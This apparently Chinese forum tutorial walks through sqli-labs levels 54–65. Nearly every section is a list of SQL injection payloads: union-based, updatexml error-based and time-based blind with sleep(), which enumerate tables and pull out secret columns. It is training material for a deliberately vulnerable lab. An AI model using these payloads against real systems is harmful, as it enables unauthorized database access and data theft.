以sqlilabs靶场为例,讲解SQL注入攻击原理【54-65关】

打印 上一主题 下一主题

主题 577|帖子 577|积分 1731

【Less-54】


与前面的标题不同是,这里只能提交10次,一旦提交超过十次,数据会重新革新,全部的步调需要重来一次。
解题步调:
根据测试,使用的是单引号闭合。
  1. # 判断字段的数量
  2. ?id=1' order by 3 -- aaa
  3. # 获取数据库的名字
  4. ?id=-1' union select 1,2,database() -- aa
  5. # 获取数据表的名字
  6. ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  
  7. # 获取字段名,上一步获取的数据表名为73m93vdzgg(随机生成的)
  8. ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='73m93vdzgg'-- aa  
  9. # 获取目标信息
  10. ?id=-1' union select 1,2,secret_8QFM from 73m93vdzgg -- aa
复制代码


最后把获取到的Key值放入输入框中提交,通关。
【Less-55】

通过测试,使用的是括号闭合。

解题步调:
  1. # 判断字段的数量
  2. ?id=1) order by 3 -- aaa
  3. # 获取数据库的名字
  4. ?id=-1) union select 1,2,database() -- aa
  5. # 获取数据表的名字
  6. ?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  
  7. # 获取字段名,上一步获取的数据表名为lll4ndq8t5(随机生成的)
  8. ?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='lll4ndq8t5'-- aa  
  9. # 获取目标信息,字段名为secret_JY1K
  10. ?id=-1) union select 1,2,secret_JY1K from lll4ndq8t5 -- aa
复制代码



【Less-56】

与上面两题雷同,只是闭合的范例不同,采用的是单引号括号的方式。
解题步调和上面根本划一,如下:
  1. # 判断字段的数量
  2. ?id=1') order by 3 -- aaa
  3. # 获取数据库的名字
  4. ?id=-1') union select 1,2,database() -- aa
  5. # 获取数据表的名字
  6. ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  
  7. # 获取字段名,上一步获取的数据表名为bpunqnpx62(随机生成的)
  8. ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='bpunqnpx62'-- aa  
  9. # 获取目标信息,字段名为secret_0OCB
  10. ?id=-1') union select 1,2,secret_0OCB from bpunqnpx62 -- aa
复制代码

【Less-57】

同样范例的标题,与之前的几题根本一样,只是闭合采用的是双引号
解题步调:
  1. # 判断字段的数量
  2. ?id=1" order by 3 -- aaa
  3. # 获取数据库的名字
  4. ?id=-1" union select 1,2,database() -- aa
  5. # 获取数据表的名字
  6. ?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  
  7. # 获取字段名,上一步获取的数据表名为mim20rhi4p(随机生成的)
  8. ?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='mim20rhi4p'-- aa  
  9. # 获取目标信息,字段名为secret_3YCT
  10. ?id=-1" union select 1,2,secret_3YCT from mim20rhi4p -- aa
复制代码

【Less-58】

通过测试,使用的是单引号闭合。
解题过程和之前的集体雷同,只是没有回显信息,解题步调如下:
  1. # 获取数据库的名字
  2. ?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa
  3. # 获取数据表的名字
  4. ?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa
  5. # 获取字段名,上一步获取的数据表字段名为s93lfq2cfa(随机生成的)
  6. ?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='s93lfq2cfa'),0x7e),1) -- aa
  7. # 获取目标信息,字段名为secret_REV6
  8. ?id=-1' and updatexml(1,concat(0x7e,(select secret_REV6 from s93lfq2cfa),0x7e),1) -- aa
复制代码



【Less-59】

与Less-58根本相同,唯一的不同在于闭合方式,Less-59是直接注入的方式。
  1. # 获取数据库的名字
  2. ?id=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
  3. # 获取数据表的名字 w7hf6t37nt
  4. ?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
  5. # 获取字段名,上一步获取的数据表名为w7hf6t37nt(随机生成的)
  6. ?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='w7hf6t37nt'),0x7e),1)
  7. # 获取目标信息,字段名为secret_D5MM
  8. ?id=-1 and updatexml(1,concat(0x7e,(select secret_D5MM from w7hf6t37nt),0x7e),1)
复制代码


【Less-60】

与上题雷同,闭合使用的是双引号括号。
解题步调:
  1. # 获取数据库的名字
  2. ?id=-1") and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa
  3. # 获取数据表的名字
  4. ?id=-1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa
  5. # 获取字段名,上一步获取的数据表名为kz7qxr5nq1(随机生成的)
  6. ?id=-1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='kz7qxr5nq1'),0x7e),1) -- aa
  7. # 获取目标信息,字段名为secret_TEGV
  8. ?id=-1") and updatexml(1,concat(0x7e,(select secret_TEGV from kz7qxr5nq1),0x7e),1) -- aa
复制代码

【Less-61】

颠末测试,本题的闭合方式为单引号加两个括号
解题步调:
  1. # 获取数据库的名字
  2. ?id=-1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa
  3. # 获取数据表的名字
  4. ?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa
  5. # 获取字段名,上一步获取的数据表名为31nbt3hzri(随机生成的)
  6. ?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='31nbt3hzri'),0x7e),1) -- aa
  7. # 获取目标信息,字段名为secret_QQ63
  8. ?id=-1')) and updatexml(1,concat(0x7e,(select secret_QQ63 from 31nbt3hzri),0x7e),1) -- aa
复制代码

【Less-62】

此题的闭合方式为单引号加括号,与之前标题不同的是,此题没有显错,采用盲注的方式解题。
解题步调:
  1. # 获取数据库的名字,长度为10
  2. ?id=1') and length(database())=10 -- aa
  3. # 获取数据库的名字
  4. ?id=1') and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa
  5. # 获取数据表名的长度,10
  6. ?id=1') and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa
  7. # 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
  8. ?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa
  9. # 获取字段名
  10. ?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa
复制代码
此时可以使用Burp Sutie工具实现名字的遍历。

【Less-63】

根本与Less-62一样,闭合是单引号闭合
 解题步调:
  1. # 获取数据库的名字,长度为10
  2. ?id=1' and length(database())=10 -- aa
  3. # 获取数据库的名字
  4. ?id=1' and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa
  5. # 获取数据表名的长度,10
  6. ?id=1' and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa
  7. # 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
  8. ?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa
  9. # 获取字段名
  10. ?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa
复制代码
【Less-64】

根本与Less-63一样,闭合是两个括号
 解题步调:
  1. # 获取数据库的名字,长度为10
  2. ?id=1)) and length(database())=10 -- aa
  3. # 获取数据库的名字
  4. ?id=1)) and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa
  5. # 获取数据表名的长度,10
  6. ?id=1)) and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa
  7. # 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
  8. ?id=1)) and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa
  9. # 获取字段名
  10. ?id=1)) and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa
复制代码
【Less-65】

根本与Less-63一样,闭合是双引号括号
 解题步调:
  1. # 获取数据库的名字,长度为10
  2. ?id=1") and length(database())=10 -- aa
  3. # 获取数据库的名字
  4. ?id=1")  and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa
  5. # 获取数据表名的长度,10
  6. ?id=1") and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa
  7. # 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
  8. ?id=1") and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa
  9. # 获取字段名
  10. ?id=1") and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa
复制代码





免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

笑看天下无敌手

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表